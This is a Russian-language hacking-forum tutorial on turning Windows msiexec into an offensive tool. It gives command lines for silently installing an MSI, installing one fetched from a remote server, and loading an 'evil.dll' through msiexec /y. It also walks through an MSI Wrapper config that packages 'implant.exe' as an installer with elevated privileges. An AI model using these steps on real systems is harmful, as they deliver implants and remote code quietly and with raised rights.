• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Наступательный MSIEXEC

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Без имени.jpg


Сегодня расскажу о утилите, которая по умолчанию есть на любой системе Windows.
Утилита msiexec является мощным инструментом для специалистов по наступательной безопасности и членов красных команд. Она предоставляет возможности локального и удаленного исполнения кода, а также может быть использована для эксплуатации уязвимостей и злоупотребления опасными привилегиями на определенных конфигурациях систем Windows.

/i - параметр установки. Он используется для запуска установки пакета Windows Installer (.msi).
/x - параметр удаления. Он используется для удаления установленного пакета Windows Installer (.msi).
/qb или /qn - параметры режима отображения пользовательского интерфейса. /qb отображает минимальное окно прогресса, а /qn выполняет установку без отображения окон пользовательского интерфейса.
/norestart - параметр, указывающий на отсутствие перезагрузки после завершения установки.
/passive - параметр режима пассивного отображения пользовательского интерфейса. Он отображает окна прогресса, но не запрашивает пользовательского взаимодействия.
/quiet - параметр полностью тихого режима. Он выполняет установку без отображения окон пользовательского интерфейса и без запроса взаимодействия пользователя.
/forcerestart - параметр, указывающий на принудительную перезагрузку после завершения установки, если это необходимо.

Некоторые интересные возможности утилиты msiexec:

Исполнение пользовательских файлов .msi в тихом режиме:
Код:
msiexec /quiet /i custom.msi
Установка удаленных файлов .msi:
Код:
msiexec /q /i http://remote-server/file.msi
Регистрация и снятие регистрации DLL-файлов:
Код:
msiexec /y "C:\folder\evil.dll"  // Регистрация DLL
msiexec /z "C:\folder\evil.dll"  // Снятие регистрации DLL
Эти команды позволяют вызывать функцию DLLRegisterServer для регистрации или снятия регистрации DLL-файлов.

Круто? Я знаю :) Хочешь так же?

Делюсь методом, который подглядел в видео у Sektor7:
Тебе потребуется система с ОС Windows, сбегать на этот сайт и скачать файл с программой MSI Wrapper. Установить ее, что бы ты тоже мог делать свои MSI пакеты.
Кстати, если ты переименуешь расширение скачанного файла в .zip то сможешь открыть как архив и посмотреть содержимое. Там как раз будут два исполняемых exe файла и текcтовик с документом типа RTF.

Это классика от Microsoft, многие другие их форматы это просто архив с бинарными файлами и XML'ками которые хранят собственно сами данные в иксэмэльках.
Даже их версия CSV формата - это тупо архив с XML'ками.

Поставили?
Запускаем пока GUI. Все интуитивно понятно, прокликайте как вам удобно.
и сделайте ваш msi пакет с условным калькулятором. Уверен, с гуями разберешься.

На скрине одна из киллерфич данного ПО.

Без имени2.jpg


Синтаксис конфигурационного файла для MSI Wrapper.

Данный конфигурационный файл определяет параметры и поведение установщика MSI, используемого для установки программы. Давайте рассмотрим каждую строку по очереди:

<MsiWrapper>: Это корневой элемент конфигурационного файла.
<Installer>: Элемент, содержащий параметры установки программы.
<IconFile Detect="executable" Value="" />: Определяет путь к файлу иконки программы. Атрибут Detect указывает, что путь должен быть определен на основе исполняемого файла программы.
<Output FileName="C:\implant.msi" />: Задает путь и имя файла MSI, который будет создан в результате установки.
<InstallPrivileges Value="Elevated" />: Указывает, что установка будет выполняться с повышенными привилегиями.
<PerUser Value="yes" />: Устанавливает программу только для текущего пользователя.
<UpgradeCode Value="{55F46570-1C98-4098-9191-18B383E567D3}" />: Указывает код обновления для программы. Это идентификатор, который позволяет определить, что новая версия программы является обновлением для предыдущей версии.
<ProductId Value="" />: Определяет идентификатор продукта. В данном случае он пустой, что означает, что идентификатор будет сгенерирован автоматически.
<Registration Value="None" />: Задает тип регистрации программы. Значение "None" указывает, что программа не должна регистрироваться в операционной системе.
<Manufacturer Detect="" Value="AD_POHEQUE" />: Указывает наименование производителя программы. Значение "AD_POHEQUE".
<ProductVersion Detect="executable" Value="3.1.3.3.7" />: Определяет версию программы. Значение "3.1.3.3.7" указывает на начальную версию. Атрибут Detect говорит о том, что версия будет определена на основе исполняемого файла.
<ProductName Detect="" Value="AD_POHEQUE" />: Задает имя продукта.
<Comments Detect="executable" Value="" />: Определяет комментарии к программе. Атрибут Detect указывает, что комментарии должны быть определены на основе исполняемого файла.
<Contact Detect="" Value="" />: Определяет контактные данные для связи с производителем программы.
<HelpLink Detect="" Value="" />: Указывает ссылку на страницу справки для программы.
<UpdateLink Detect="" Value="" />: Задает ссылку на страницу обновлений для программы.
<AboutLink Detect="" Value="" />: Определяет ссылку на страницу "О программе".
<WrappedInstaller>: Элемент, содержащий информацию о упаковываемом установщике (исполняемом файле).
<Executable FileName="C:\implant.exe" SuccessCodes="" Impersonate="no" IncludeFiles="no" CompressionLevel="Max" />: Задает путь к упаковываемому исполняемому файлу программы. В данном случае файл находится по пути C:\implant.exe. Остальные атрибуты не указаны.
<ApplicationId Value="" />: Определяет идентификатор приложения.
<Install>: Элемент, содержащий параметры установки.
<Arguments Value="">: Задает дополнительные аргументы командной строки для установки программы.
<UILevelNone Value="" />, <UILevelBasic Value="" />, <UILevelReduced Value="" />, <UILevelFull Value="" />: Определяют уровни пользовательского интерфейса (UI), которые могут быть использованы при установке программы.
<RunBeforeInstall Value="" />: Указывает команду или скрипт, который должен быть выполнен перед установкой программы.
<RunAfterInstall Value="" />: Задает команду или скрипт, который должен быть выполнен после установки программы.
<Uninstall>: Элемент, содержащий параметры удаления.
<Arguments Value="">: Задает дополнительные аргументы командной строки для удаления программы.

Правим конфиг и собираем из командной строки при помощи бинаря MSI Wrapper.
Код:
"C:\Program Files (x86)\MSI Wrapper\MsiWrapperBatch.exe" config="путь_к_вашему_файлу.xml"

Без имени3.jpg


источник t.me/ad_pohueque
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх